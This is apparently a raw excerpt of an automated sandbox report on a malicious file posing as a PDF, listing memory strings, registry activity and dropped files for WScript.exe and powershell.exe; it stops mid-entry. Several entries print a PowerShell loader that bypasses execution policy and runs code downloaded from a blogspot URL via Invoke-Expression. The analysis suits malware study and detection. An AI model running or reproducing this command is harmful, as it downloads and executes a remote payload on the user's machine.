Heuristic match: "blogspot.sg" Heuristic match: "*.blogspot.sg" Heuristic match: "blogspot.si" Heuristic match: "*.blogspot.si" Heuristic match: "blogspot.sk" Heuristic match: "*.blogspot.sk" Heuristic match: "blogspot.sn" Heuristic match: "*.blogspot.sn" Heuristic match: "blogspot.tw" Heuristic match: "*.blogspot.tw" Heuristic match: "blogspot.ug" Heuristic match: "*.blogspot.ug" Heuristic match: "blogspot.vn" Heuristic match: "*.blogspot.vn" Heuristic match: "bp.blogspot.com" Heuristic match: "*.bp.blogspot.com" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Heuristic match: ".gfx.mv" Heuristic match: ".xboxlive.com" Pattern match: "oft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-" Heuristic match: "scheduledtask.co" Heuristic match: "ystem.activityhistory.id" Heuristic match: "ystem.appusermodel.id" Heuristic match: "ystem.identityprovider.name" Heuristic match: "ystem.protocol.name" Heuristic match: "ystem.sam.name" Heuristic match: "ystem.structuredquery.is" Heuristic match: "ystem.structuredquery.virtual.cc" Heuristic match: "ystem.structuredquery.virtual.to" Heuristic match: "system.activityhistory.id" Heuristic match: "system.identityprovider.name" Heuristic match: "system.sam.name" Heuristic match: "system.structuredquery.virtual.cc" Heuristic match: "system.structuredquery.virtual.to" Heuristic match: "system.structuredquery.is" Heuristic match: "system.protocol.name" Heuristic match: "system.appusermodel.id" Heuristic match: "system.structuredquerytype.implicit.is"2b:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp")2c:T82d,Found string "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 17" (Indicator: "Invoke-Expression"; File: "AMSI") file/memory contains long string with (Indicator: "Invoke-Expression"; File: "AMSI") Found string "-ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 17" (Indicator: "Invoke-Expression"; File: "powershell.exe") Found string "Invoke-Expression" (Indicator: "Invoke-Expression"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp, 00000000-00001204.00000000.129138.6BC60000.00000004.mdmp, 00000000-00001204.00000000.129138.6BF60000.00000004.mdmp, 00000000-00001204.00000000.129138.6D740000.00000004.mdmp, 00000000-00001204.00000000.129138.6E0D0000.00000004.mdmp, 00000000-00001204.00000001.130974.6BC60000.00000004.mdmp, 00000000-00001204.00000001.130974.6BF60000.00000004.mdmp, 00000000-00001204.00000001.130974.6D740000.00000004.mdmp, 00000000-00001204.00000001.130974.6E0D0000.00000004.mdmp") Found string "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 17" (Indicator: "Invoke-Expression"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 17" (Indicator: "Invoke-Expression"; Source: "00000000-00001204.00000000.129138.6BC60000.00000004.mdmp, 00000000-00001204.00000001.130974.6BC60000.00000004.mdmp, 00000000-00001204.00000001.130974.6E894000.00000004.mdmp") file/memory contains long string with (Indicator: "Invoke-Expression"; Source: "00000000-00001204.00000001.130974.6E894000.00000004.mdmp")2d:Tb67,"WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\crypt32" (Filter: 268435460; Subtree: 0) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\Root" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\FlightRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Trust" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\My" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" (Filter: 5; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\Windows Defender" (Filter: 5; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\DelegateFolders" (Filter: 268435461; Subtree: 1)2e:T60f,"WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")2f:T939,"urlref_httpshot13oct.blogspot.comdudu.docx.pdf" has type "HTML document ASCII text with very long lines (54639)"- [targetUID: N/A] "UserCache.bin" has type "data"- Location: [%LOCALAPPDATA%\Adobe\Acrobat\11.0\UserCache.bin]- [targetUID: 00000000-00001996] "Document.pdf" has type "HTML document ASCII text with very long lines (16282)"- Location: [%USERPROFILE%\Downloads\Document.pdf]- [targetUID: 00000000-00001204] "A9B8213768ADC68AF64FCC6409E8BE414726687F.crl" has type "data"- Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\CRLCache\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl]- [targetUID: 00000000-00001996] "Annssi.dat" has type "data"- Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\Annssi.dat]- [targetUID: 00000000-00001996] "Annss.dat" has type "data"- Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\Annss.dat]- [targetUID: 00000000-00001996] "AdobeFnt14.lst.1996" has type "PostScript document text"- Location: [%LOCALAPPDATA%\Adobe\Acrobat\11.0\Cache\AdobeFnt14.lst.1996]- [targetUID: 00000000-00001996] "addressbook.acrodata" has type "data"- Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\addressbook.acrodata]- [targetUID: 00000000-00001996] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00001204] "48B76449F3D5FEFA1133AA805E420F0FCA643651.crl" has type " sha1WithRSAEncryption countryName=US"- Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\CRLCache\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl]- [targetUID: 00000000-00001996] "0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" has type "data"- Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\CRLCache\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl]- [targetUID: 00000000-00001996] "AdobeFnt14.lst.1996" has type "PostScript document text"- [targetUID: 00000000-00001996] "CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" has type " sha1WithRSAEncryption countryName=US"- Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\CRLCache\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl]- [targetUID: 00000000-00001996] "Annssk.dat" has type "data"- Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\Annssk.dat]- [targetUID: 00000000-00001996] "FAPE8F6.tmp" has type "ASCII text with no line terminators"- Location: [%TEMP%\FAPE8F6.tmp]- [targetUID: 00000000-00001996]30:Td4f,Found string "Set-Alias -Name gcim -Value Get-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name scim -Value Set-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name ncim -Value New-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name rcim -Value Remove-cimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name gcai -Value Get-CimAssociatedInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name rcie -Value Register-CimIndicationEvent -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name rcms -Value Remove-cimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name gcms -Value Get-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name gcls -Value Get-CimClass -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") file/memory contains long string with (Indicator: "Set-StrictMode"; File: "AMSI") Found string "Set-StrictMode" (Indicator: "Set-StrictMode"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Set-Variable" (Indicator: "Set-Variable"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Enable-PSBreakpoint" (Indicator: "Enable-PSBreakpoint"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Set-PSBreakpoint" (Indicator: "Set-PSBreakpoint"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Set-Location $MyInvocation.MyCommand.Name" (Indicator: "Set-Location"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Set-Location .." (Indicator: "Set-Location"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Set-Location \" (Indicator: "Set-Location"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Set-Alias" (Indicator: "Set-Alias"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Set-Location" (Indicator: "Set-Location"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Set-PSDebug" (Indicator: "Set-PSdebug"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Update-Help" (Indicator: "Update-Help"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp")31:Tc41,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")32:T1518,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001204-00000C17-952924148 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00001204-00000C17-953393232 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00001204-00000C17-954348718 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00001204-00000C17-954705230 "powershell.exe" queries volume information of "C:\share" at 00000000-00001204-00000C17-954706824 "powershell.exe" queries volume information of "C:\share" at 00000000-00001204-00000C17-954787535 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001204-00000C17-955750817 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001204-00000C17-955886775 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001204-00000C17-955932093 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll" at 00000000-00001204-00000C17-958055509 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001204-00000C17-958777102 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001204-00000C17-958928356 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001204-00000C17-960142458 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll" at 00000000-00001204-00000C17-960526127 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll" at 00000000-00001204-00000C17-960539617 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001204-00000C17-963756622 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001204-00000C17-963859602 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001204-00000C17-963860530 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001204-00000C17-963921814 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001204-00000C17-963968309 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001204-00000C17-964007506 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001204-00000C17-964125193 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001204-00000C17-964356947 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001204-00000C17-96461660933:T1807,"WScript.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "WScript.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "720C000000000000040004000102040000000000620000000D787900010000006B507E000200000087DE83004A000000A19F5E000400010000006C00000056737D00070000006B507E00010000009829B70007000000E6C53100010004000000020000001A9CB2000100050000000100000016F0B20001006500000078030000E6C5310000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "830C000000000000040004000102020000000000470000000D78790005000000A19F5E000100010000000200000056737D0000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "EA2000000000000004000400010006000200000025996000560A8500B1CE9800C36D8100CC495600F7ED6A00010006000000A522A40000") "powershell.exe" (Access type: 